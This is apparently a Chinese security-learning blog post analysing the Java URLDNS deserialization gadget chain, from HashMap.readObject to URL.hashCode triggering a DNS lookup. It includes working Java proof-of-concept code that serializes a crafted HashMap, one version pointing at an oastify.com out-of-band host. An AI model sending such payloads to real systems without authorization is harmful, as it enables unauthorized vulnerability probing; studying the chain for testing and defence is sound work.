URLDNS链

URLDNS链

简介

  这是一条比较简单的利用链,本身不利用外部依赖,因此基本不受版本和环境的限制。但是这条利用链也只能做到发起DNS请求,因此常用于验证反序列化漏洞的存在与否。

源码分析

  在任意类中敲一个URL,按住ctrl单击,进入URL类,在URL类中可以找到hashCode方法,当hashCode的值为-1时,进入handler下的hashCode方法,我们按住ctrl单击进入该方法。

hashCode

  在这个地方会通过getHostAddress发起DNS请求。

域名解析方法

  但是需要注意的是,hashCode的默认初始值为-1

hashCode默认值

  再分析入口类hashmap,这个类重写了readObject方法,且参数类型宽泛,支持反序列化操作,是一个优秀的入口类。在readObject下的putVal中调用了hash方法,我们继续跟入hash方法。

入口类

  当key不为空时调用hashCode,完成整条链的利用。但是在这个地方存在着一个疑问,在我们代码执行逻辑中调用的是URL下的hashCode方法,可是当我们ctrl+单击时进入的是Object下的hashCode,希望能够碰到大佬进行解答。

hash方法

  这时理论上我们只要创建一个HashMap,并且向其中传入一个url就可以完成代码。接下来编写代码进行实际测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
URL url = new URL("http://h4m6mmyf3qswqpzegyzic3i8rzxple.oastify.com");
HashMap<Object, Object> hashap = new HashMap<Object, Object>();
hashap.put(url, 333);
Serialize(hashap);
//unSerialize(new File("ser.bin"));
}

public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unSerialize(File filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

  运行代码进行测试,将序列化和反序列化的过程分开,运行我们可以发现,实际情况下在序列化的过程中会直接发起请求,反序列化的过程中则不会发起请求,继续分析代码。(多次重复实验请注意更新DNS地址和删除ser.bin文件)

序列化

反序列化

  跟进hashmap.put我们会发现,当我们调用put的时候就已经调用hash方法发起DNS请求,因此在我们反序列化的过程中则不会再发起请求。因此我们需要在序列化的过程中避免发起请求,在前面我们已经知道可以通过hashCode的值来影响代码执行的流程,可是hashCode默认初始为-1,这就需要我们在上一节中提到的反射来进行修改,整个流程如下:

1
2
3
4
5
URL url = new URL("http://dnslog");
HashMap<Object, Object> hashap = new HashMap<Object, Object>();
//在这里,我们让hashCode的值不为-1,防止序列化发起DNS
hashap.put(url, 333);
//在这里再修改回-1,让反序列化发起DNS请求

  重新修改代码逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://dnslog");
HashMap<Object, Object> hashap = new HashMap<Object, Object>();
Class clz = URL.class;
Field hashcode = clz.getDeclaredField("hashCode");//注意私有属性
hashcode.setAccessible(true);
//在这里,我们让hashCode的值不为-1,防止序列化发起DNS
hashcode.set(url, 2);
hashap.put(url, 333);
//在这里再修改回-1,让反序列化发起DNS请求
hashcode.set(url, -1);
Serialize(hashap);
//unSerialize(new File("ser.bin"));
}

public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unSerialize(File filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

  再进行测试,就成功完成了URLDNS链的利用。

序列化

反序列化

利用链流程

  这是URLDNS链的大致利用流程,至于后续的getByName不再继续跟入。

利用链

补充

  最近在看ysoserial项目的URLDNS链中发现了一些不同,为了避免在序列化的过程中发起DNS请求,我们采用的方法是反射修改hashCode的值来干扰if判断,但是作者这里采用的是重写URLStreamHandler的方式,主要是重写openConnection和getHostAddress来避免在序列化的过程中产生DNS请求,至于为什么采用这种方式,没有想明白。

ysoser


URLDNS链
https://fliggyaa.github.io/2023/10/20/2023-10-20-URLDNS链/
作者
fliggy
发布于
2023年10月20日
许可协议